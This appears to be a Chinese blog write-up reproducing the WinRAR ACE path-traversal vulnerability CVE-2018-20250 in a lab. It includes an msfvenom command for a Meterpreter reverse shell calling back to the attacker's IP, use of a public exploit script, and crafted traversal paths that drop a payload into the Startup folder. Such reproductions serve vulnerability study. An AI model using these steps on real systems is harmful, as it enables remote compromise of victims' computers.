ACE文件验证逻辑绕过漏洞(CVE-2018-20250)复现


ACE 文件的解压模块 unacev2.dll 对解压缩路径进行验证时,未能正确过滤压缩文件中的“相对路径”,导致攻击者结合一些技巧可以绕过安全检查,使压缩文件中恶意构造的“相对路径”被直接用作了解压路径使用。从而可以将恶意代码静默释放到系统启动目录中,最终实现远程代码执行或 NTLM hash 泄露。

漏洞分析

影响范围

Winrar < 5.70 Beta 1
Bandzip <= 6.2.0.0
好压(2345压缩)<= 5.9.8.10907
360压缩 <= 4.0.0.1170

复现记录

攻击者/mac 192.168.8.100
受害者/win7 192.168.8.101
winrar 5.61版本

avatar

第一步:准备

msf生成windows反向shell calc.exe:

$ msfvenom -p windows/x86/meterpreter/reverse_tcp LHOST=192.168.8.100 LPORT=4444 -f exe >calc.exe

avatar

使用exp生成攻击文件test.rar:

exp下载

注意使用python3.7,并用生成的calc.exe替换下载的calc.exe:

$ python exp.py

avatar

第二步:攻击

模拟受害者访问网页(python -m SimpleHTTPServer 80),下载压缩文件:

avatar

可以看到,下载的文件默认保存于C:\Users\miyin(或者你的用户名)\Downloads,解压缩后,即可将恶意文件释放至用户启动目录。在桌面上解压缩也可达到同样效果。

avatar

此时在启动目录C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,已经有了恶意文件hi.exe:

avatar

msf准备接收反向shell(use exploit/multi/handler):

avatar

目标重启后,即可得到meterpreter会话:

avatar

第三步:关于此漏洞利用-个人收集的5点须知

1.浏览器默认下载到C:\Users\miyin(或者你的用户名)\Downloads;

2.如果在c盘下解压,exp.py需修改target_filename = r”C:\C:C:../Users\miyin(或者你的用户名)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe”;

3.不能跨盘符;

4.只能使用一次../,而..\不受限制,所以可以跨越到任意目录,如在C:\Users\miyin(或者你的用户名)\Downloads下解压,想将exe解压到C:\windows\temp目录下,那么exp.py需修改target_filename = r”C:\C:C:../AppData\Local\Temp\hi.exe”;

5.由于 WinRAR 运行在普通用户权限下,使得攻击者无法将恶意文件静默释放至路径已知的系统启动目录(”C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”)。而释放至用户启动目录(”C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”)需要提前预知受害者的登陆用户名或者进行暴力猜测。
好在大多数此类攻击场景均是受害者将恶意构造的压缩文件下载至桌面(C:\Users\\Desktop)或者下载目录(C:\Users\\Downloads),而当压缩文件通过双击解压或右键解压缩时,当前的WinRAR的工作路径与压缩文件一致。这使得攻击者无需猜测受害者用户名,可通过目录穿越的方式将恶意文件释放至用户启动目录,待受害者系统启动时实现任意代码执行。在此前提下, Nadav Grossman 构造了如下的相对路径,使得远程代码执行攻击得以成功:
“C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe”

avatar

6、漏洞原理:

提取文件的相对路径传递给GetDevicePathLen,它检查设备或驱动器名称前缀是否出现在Path参数中,并返回该字符串的长度如果返回值GetDevicePathLen大于0,则提取文件的相对路径将被视为完整路径,因为在调用期间目标文件夹被空字符串替换sprintf,这会导致Path Traversal漏洞。

但是,有一个函数可以“cleans”提取文件的相对路径,在调用之前省略不允许的任何序列GetDevicePathLen。

这是一个清除路径的伪代码”CleanPath”

该函数省略了一些简单的Path Traversal序列,如“ ..\”(它只省略了”..\序列)序列,省略了驱动序列,如:” C:\”, “C:”,而且”c:\c:”也被省略掉
简述之:由于与该漏洞ace处理相关的DLL在对解压目标的相对路径进行解析时,CleanPath函数过滤不严导致此漏洞。

参考链接

https://research.checkpoint.com/extracting-code-execution-from-winrar/
https://github.com/Ridter/acefile
https://github.com/WyAtu/CVE-2018-20250
https://xlab.tencent.com/cn/